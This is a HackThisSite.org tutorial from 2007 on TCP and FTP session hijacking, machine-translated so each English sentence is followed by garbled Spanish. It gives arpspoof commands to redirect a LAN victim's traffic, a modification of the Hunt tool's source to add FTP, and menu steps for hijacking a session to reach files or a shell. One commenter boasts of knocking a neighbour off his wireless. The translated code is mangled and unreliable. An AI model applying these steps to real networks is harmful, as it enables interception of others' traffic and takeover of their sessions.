Hack este sitio!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Anúnciate con HackThisSite.org:: Ocultar estos anuncios]

"In the past our politicians offered us dreams of a better world. Now they promise to protect us from nightmares." "En el pasado nuestros políticos nos ofrecen los sueños de un mundo mejor. Ahora que la promesa que nos proteja de las pesadillas". --BBC television special - BBC de televisión especiales

HTS costs up to $300 a month to operate. HTS gastos de hasta $ 300 al mes para funcionar. We need your help! Necesitamos tu ayuda!

Donors also receive special recognition on our donors page. Los donantes también recibirán un reconocimiento especial a nuestros donantes página.

FR DE ES IT PT FR DE ES IT PT

Link to us! Enlace con nosotros!

phoenix free shells Phoenix libre de los depósitos
hackergames.net hackergames.net
PullThePlug PullThePlug

TCP Hijacking TCP Secuestro
Published by: hackerxtreme , on 2007-11-02 20:44:43 Publicado por: hackerxtreme, sobre 2007-11-02 20:44:43
TCP Hijack TCP secuestro Disclaimer: This guide is meant for ethical hacking or audit with authorization purposes only. Cláusula de exención de responsabilidad: Esta guía se entiende por ética de hacking o con autorización de auditoría sólo a los efectos. The author is not responsible for any consequences otherwise. El autor no se hace responsable de las consecuencias de otro tipo. The material is copyrighted. El material está protegido por derechos de autor. Requirements: Linux OS, Connect to the same LAN or wireless network as the victim, Requisitos: el sistema operativo Linux, Conectar a la misma LAN o red inalámbrica como la víctima, Once a malicious user gains access to the FTP session traffic he can now begin to monitor the session and wait for an opportunity to hijack the session. Una vez que un usuario malintencionado obtiene acceso a la FTP período de sesiones de tráfico puede ya comenzar a controlar el período de sesiones y esperar a una oportunidad de secuestrar el período de sesiones. A hijack occurs when the attacker is able to intercept the communication between the client and server after the session has been authenticated. Un secuestro se produce cuando el atacante es capaz de interceptar la comunicación entre el cliente y el servidor después de la sesión ha sido autenticado. The simplest method to hijack the session would be to send a reset to the user forcing the client application to close the FTP session but he also have to prevent the client from resetting the port on the server end. El método más simple para secuestrar el período de sesiones sería la de enviar un reset a los usuarios obligando a la aplicación cliente para cerrar el período de sesiones FTP, pero también tienen que evitar que el cliente de restablecer el puerto en el servidor final. If he does not prevent this packet from reaching the server then the connection will be terminated and he will have to wait for another opportunity to hijack a session. Si él no impide que este paquete llegue a continuación, el servidor la conexión se dará por terminado y él tendrá que esperar otra oportunidad para secuestrar a un período de sesiones. Once he has successfully closed the client, he now has the opportunity to send queries to the server requesting files or upload his own malicious files to the server. Una vez que se ha cerrado con éxito el cliente, que tiene ahora la oportunidad de enviar preguntas al servidor solicitando los archivos o cargar sus propios archivos maliciosos en el servidor. Since he was monitoring the entire session between the server and client he has the right sequence number and acknowledgment number so that the server thinks its still communicating with the original client. Desde que se la supervisión de todo el período de sesiones entre el servidor y el cliente tiene el derecho y el número de secuencia número reconocimiento a fin de que el servidor piensa que su aún comunicación con el cliente original. If the attacker chooses to keep both the client and server running then he will have to keep track of the sequence number and acknowledgment number being sent between the client and server. Si el atacante elige a mantener tanto el cliente y el servidor que ejecuta entonces tendrá que seguir la secuencia de número de serie y el reconocimiento de ser enviados entre el cliente y el servidor. Any command that the attacker sends to the server will change the sequence number and acknowledgment numbers and will cause the client and server to be out of synchronization and they will not be able to communicate thus causing the connection to close. Cualquier comando que el atacante envía al servidor va a cambiar la secuencia de números y números y el reconocimiento hará que el cliente y el servidor a estar fuera de sincronización y no serán capaces de comunicarse por lo tanto, causando la conexión a cerrar. This method is more difficult because the attacker now has to continually change the client and server sequence/acknowledgment numbers to reflect the commands that he injected towards the server and the data he received from the server. Este método es más difícil porque ahora el atacante tiene que cambiar continuamente el cliente y el servidor de secuencia y el reconocimiento de los números a fin de reflejar los comandos que se inyecta hacia el servidor y los datos que ha recibido desde el servidor. You have to be on the same wireless or LAN network to accomplish this. Tienes que estar en la misma LAN inalámbrica o red para lograr esto. The process of FTP Hijack: El proceso de secuestro del FTP: ARP Spoof ARP Spoof Arp spoof the victim to the gateway (Victim: 192.168.2.2; Gateway: 192.168.2.1) using arpspoof from the attacking machine (192.168.2.160) to redirect all traffic through the attacker. Arp falso a la víctima a la puerta de enlace (Víctima: 192.168.2.2; Puerta de enlace: 192.168.2.1) utilizando son ARPSpoof de atacar a la máquina (192.168.2.160) para redirigir todo el tráfico a través de la atacante. CODE : CÓDIGO: `# echo 1 >; /proc/sys/net/ipv4/ip_forward` `# Echo 1>; / proc/sys/net/ipv4/ip_forward` `# arpspoof -t 192.168.2.1 192.168.2.2` `# Son ARPSpoof-t 192.168.2.1 192.168.2.2` `# arpspoof -t 192.168.2.2 192.168.2.1` `# Son ARPSpoof-t 192.168.2.2 192.168.2.1` HUNT Hunt is a program for intruding into a connection, watching it and resetting it. Hunt es un programa para inmiscuirse en una relación, y viendo que reiniciar. Hunt operates on Ethernet and is best used for connections which can be watched through it. Hunt opera en Ethernet y que se utiliza mejor para las conexiones que puede ser visto a través de él. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. Sin embargo, es posible hacer algo, incluso para las máquinas de otros segmentos o hosts que están en los puertos de conmutación. Hunt doesn't distinguish between local network connections and connections going to/from Internet. Hunt no distingue entre las conexiones de red local y conexiones a / desde Internet. It can handle all connections it sees. Se puede manejar todas las conexiones que ve. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. Conexión secuestro está destinada principalmente a los telnet o rlogin tráfico, pero puede ser utilizada para otro tráfico demasiado. Features: connection management (watching, spoofing, detecting, hijacking, resetting), daemons (resetting, arp spoof/relayer daemon, MAC discovery daemon for collecting MAC addresses, sniff daemon for logging TCP traffic), host resolving, packet engine (TCP, UDP, ICMP and ARP traffic; collecting TCP connections with sequence numbers and the ACK storm detection), switched environment (hosts on switched ports can be spoofed, sniffed and hijacked too). Características: conexión de gestión (ver, suplantación de identidad, la detección, secuestro, al restaurar), los demonios (restablecidos, arp falsos / relayer demonio, MAC de descubrimiento demonio para la recopilación de direcciones MAC, olfatear demonio para registrar el tráfico TCP), la solución de acogida, paquetes de motor (TCP, UDP, ICMP y ARP de tráfico, la recogida de conexiones TCP con números de secuencia y la detección de tormenta ACK), de conmutación de medio ambiente (máquinas de conmutación de los puertos pueden ser falseadas, inhalados y demasiado secuestrada). This latest release includes lots of debugging and fixes in order to get the hunt running against hosts on switched ports, timejobs, dropping IP fragments, verbose status bar, options, new connection indicator, various fixes. Esta última versión incluye un montón de depuración y se fija con el fin de obtener la caza en contra de hosts de conmutación de puertos, timejobs, pasando fragmentos IP, verbose barra de estado, opciones, nuevo indicador de conexión, diversas correcciones. By default, Hunt only monitors telnet (port 23) and rlogin (port 513) sessions, but the code is written in such a way that it would be very easy to add other types. De forma predeterminada, sólo Hunt monitores telnet (puerto 23) y rlogin (puerto 513) períodos de sesiones, pero el código está escrito de tal manera que sería muy fácil de añadir otros tipos. In the file hunt.c, in the initialization code for the entry function, is this line: En el archivo hunt.c, en el código de inicialización para la función de entrada, es esta línea: CODE : CÓDIGO: `add_telnet_rlogin_policy();` `add_telnet_rlogin_policy ();` This function is located in the addpolicy.c file and here's the function in question: Esta función se encuentra en el archivo addpolicy.c y aquí está la función en cuestión: CODE : CÓDIGO: `api->;dst_ports[2] = htons(21); was added to incorporate FTP sessions.` `api->; dst_ports [2] = htons (21); se ha añadido para incorporar las sesiones FTP.` `void add_telnet_rlogin_policy(void)` `add_telnet_rlogin_policy nulo (void)` `{` `(` `struct add_policy_info api;` `struct add_policy_info API ;` `api = malloc(sizeof(struct add_policy_info));` `api = malloc (sizeof (struct add_policy_info));` `assert(api);` `afirmar (API);` `memset(api, 0, sizeof(sizeof(struct add_policy_info)));` `memset (API, 0, sizeof (sizeof (struct add_policy_info)));` `api->;src_addr = 0;` `api->; src_addr = 0;` `api->;src_mask = 0;` `api->; src_mask = 0;` `api->;dst_addr = 0;` `api->; dst_addr = 0;` `api->;dst_mask = 0;` `api->; dst_mask = 0;` `api->;src_ports[0] = 0;` `api->; src_ports [0] = 0;` `api->;dst_ports[0] = htons(23);` `api->; dst_ports [0] = htons (23);` `api->;dst_ports[1] = htons(513);` `api->; dst_ports [1] = htons (513);` `api->;dst_ports[2] = htons(21); //This port was added for FTP` `api->; dst_ports [2] = htons (21) / / Este puerto se ha añadido para FTP` `api->;dst_ports[3] = 0;` `api->; dst_ports [3] = 0;` `list_push(&;l_add_policy, api);` `list_push (&; l_add_policy, api);` `};` `);` The source files were compiled and hunt.c executed. Los archivos de código fuente se hunt.c compilado y ejecutado. CODE : CÓDIGO: `/` `/ ` `* hunt 1.5` `* 1,5 caza` `* multipurpose connection intruder / sniffer for Linux` `* Polivalentes conexión intruso / sniffer para Linux` `* (c) 1998-2000 by kra` `* (C) 1998-2000 por ERP` `/` ` /` `starting hunt` `a partir caza` `--- Main Menu --- rcvpkt 0, free/alloc 64/64 ------` `Menú Principal --- --- rcvpkt 0, libre / ALLOC 64/64 ------` `l/w/r) list/watch/reset connections` `l / w / r) lista / ver / restablecer las conexiones` `u) host up tests` `u) hasta pruebas de acogida` `a) arp/simple hijack (avoids ack storm if arp used)` `a) arp / secuestro simple (evita en caso de tormenta ACK utilizado arp)` `s) simple hijack` `s) de secuestro simple` `d) daemons rst/arp/sniff/mac` `d) los demonios RST / arp / sniff / mac` `o) options` `o) las opciones` `x) exit` `x) la salida` `--` `--` HUNT Preparations Preparativos HUNT Customize Options and Start Daemons Personalizar las opciones de inicio y demonios o is typed to customize options. o se escribe para personalizar las opciones. The MAC base is changed to attacker's NIC 00:ab:cd:ef:gh:mn. El MAC se cambia la base del atacante a la NIC 00: AB: CD: EF: GH: min. Host resolving, arp spoof with MAC base and learn IP from MAC discovery are all enabled. Host resolver, arp falsos MAC con base IP y aprender de MAC descubrimiento se permitió a todos. From the main menu, d daemons -- a arp spoof daemon is started. Desde el menú principal, d demonios - un demonio arp falsos se ha iniciado. Hunt can also arp spoof the hosts and targets if specified. Hunt también puede arp falsos a los anfitriones y los objetivos si se especifica. FTP Hijack FTP secuestro From the main menu, l gives a list of connections. Desde el menú principal, l da una lista de conexiones. 0) 192.168.2.2 [32777] -- 95.623.58.102 [21] 0) 192.168.2.2 [32777] - 95.623.58.102 [21] w - Watches the above connnection. w - Relojes por encima de la connnection. a - Performs a simple hijack. a - Realiza un simple secuestro. Once you hijack, you have access to the files being sent. Una vez que secuestrar, usted tiene acceso a los archivos que se envían. You can manipulate them using a tool like fragroute to craft evil packets. Usted puede manipular utilizando una herramienta como a las embarcaciones fragroute mal paquetes. If the connection is telnet on port 23, you will have the shell on both the machines. Si la conexión es telnet en el puerto 23, usted tendrá el depósito por los dos las máquinas. Impact Impacto ? Access to Data Acceso a los datos ? Access to the command shell El acceso a la shell de comandos ? DOS Attack Ataque DOS
Cast your vote on this article Emitir su voto sobre este artículo Note: the order of the votes has been reversed. Nota: el orden de los votos se ha invertido.

Comments: Comentarios:
Published: 5 comments. Publicado: 5 comentarios.

liuyuan - 03:50 pm Friday November 02nd, 2007 liuyuan - 03:50 pm Viernes 02a noviembre de 2007

Accepted, edit out minor error. Aceptado, editar a menor error. Fixed formatting, wrong use of bbcodes codes and ect De formato fijo, mal uso de los códigos y bbcodes ect

harry007 - 03:26 am Sunday November 04th, 2007 harry007 - 03:26 horas del domingo 04 de noviembre de 2007

cool fresco

WhiteAcid - 09:32 am Sunday November 04th, 2007 WhiteAcid - 09:32 horas del domingo 04 de noviembre de 2007

> and & need to be de-entitied > y la necesidad y que se de-entitied

liuyuan - 05:10 pm Thursday November 08th, 2007 liuyuan - 05:10 pm Jueves 08 de noviembre de 2007

Thanks sid. Gracias sid. Done. Hecho.

roffelmavo - 09:32 am Saturday October 25th, 2008 roffelmavo - 09:32 horas Sábado 25 de octubre, 2008

cool dude! cool dude! a guy made me install linux in my eee pc and it is risky to install if you are a newbie but im not a newbie and i made it! un chico me hizo instalar linux en mi pc eee y es riesgoso para instalar si eres un novato, pero no im un novato y me hizo! but the linux was ment for asus eee pc =/! pero el linux se desarrollo para ASUS eee pc = /! so i need new hacks for it! por lo que necesitamos nuevos hacks para él! ty man! TY hombre! 10/10 i kicked an iritating kid out of the wireless connection and his ethernet who hijacks! 10/10 i patadas iritating un chico de la conexión inalámbrica y su ethernet que secuestra! arround peoples computers in the neighbourhood! pueblos alrededor de las computadoras en el barrio! that will teach the kid not to be a cracker! que enseñar al niño a no ser un cracker!

This site is the collective work of the HackThisSite staff. Este sitio es el trabajo colectivo de la HackThisSite personal. Please don't reproduce in part or whole without permission. Por favor, no reproducir en parte o su totalidad sin permiso.
Page Generated: Mon, 01 Dec 2008 23:43:09 -0500 Exec: 10 Página de creación: Lunes, 01 diciembre 2008 23:43:09 -0500 Ejec: 10
_{Page loaded in 0.12289 seconds!} _{Page cargado en 0,12289 segundos!}

Donate Donar

Challenges Retos

Get Informed Infórmese

Get Involved ¡Participa!

Communicate Comunicar

About HTS Acerca de HTS

Translate Traducir

Partners Socios

TCP Hijack TCP secuestro

ARP Spoof ARP Spoof

HUNT

HUNT Preparations Preparativos HUNT

FTP Hijack FTP secuestro

Impact Impacto